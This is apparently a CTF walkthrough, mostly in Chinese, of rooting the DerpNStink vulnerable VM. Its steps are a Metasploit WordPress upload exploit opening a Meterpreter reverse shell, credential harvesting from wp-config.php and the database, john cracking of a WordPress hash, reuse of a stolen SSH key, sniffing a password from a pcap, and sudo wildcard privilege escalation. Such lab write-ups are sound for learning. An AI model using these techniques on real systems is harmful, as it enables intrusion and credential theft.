msf6 exploit(unix/webapp/wp_slideshowgallery_upload) > run [*] Started reverse TCP handler on 10.0.3.5:4444 [*] Trying to login as admin [*] Trying to upload payload [*] Uploading payload [*] Calling uploaded file gurjzbwb.php [*] Sending stage (39927 bytes) to 10.0.3.4 [+] Deleted gurjzbwb.php [*] Meterpreter session 1 opened (10.0.3.5:4444 -> 10.0.3.4:43298) at 2022-11-22 02:21:55 -0500
尝试读取配置文件wp-config.php,发现Mysql连接密码
尝试连接数据库
访问http://derpnstink.local/php/phpmyadmin
wp-posts表中存在flag2
翻找数据库的user表发现了用户unclestinky以及密码
$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41
使用john工具进行密码爆破
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt 爆破出来的密码为wedgie57
尝试使用unclestinky:wedgie57进行登录，也是flag2
查看本机用户，发现了两个用户
尝试使用之前的密码登录这两个账号，发现stinky登录成功，找到flag3
尝试ftp登录，发现了私钥文件
把私钥文件移动到kali上通过命令连接,一定要加上-o选项添加上加密类型因为ssh8.8开始ssh-rsa加密类型就不再支持了。
ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i id_rsa stinky@xxxxx
讲pacp文件移动到ftp目录下
stinky@DeRPnStiNK:~/Documents$ mv derpissues.pcap ~/ftp/files/
然后使用ftp把文件传到本地
分析pcap文件，寻找http请求包，找到wp-login登录请求,735长度的报文数据存在账号密码
Form item: "log" = "mrderp" Form item: "pwd" = "derpderpderpderpderpderpderp"
尝试登录，然后使用sudo -l查看当前用户的sudo权限,发现可以使用/binaries/derpy文件执行sudo权限
mrderp@DeRPnStiNK:~$ sudo -l
[sudo] password for mrderp:
Matching Defaults entries for mrderp on DeRPnStiNK:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User mrderp may run the following commands on DeRPnStiNK:
(ALL) /home/mrderp/binaries/derpy*
创建sh文件并且尝试执行,在root目录下的desktop下发现flag4文件
mrderp@DeRPnStiNK:~/binaries$ vi derpy.sh mrderp@DeRPnStiNK:~/binaries$ sudo ./derpy.sh sudo: ./derpy.sh: command not found mrderp@DeRPnStiNK:~/binaries$ chmod +x derpy.sh mrderp@DeRPnStiNK:~/binaries$ sudo ./derpy.sh root@DeRPnStiNK:~/binaries# cat /root/Desktop/flag.txt flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd) Congrats on rooting my first VulnOS!
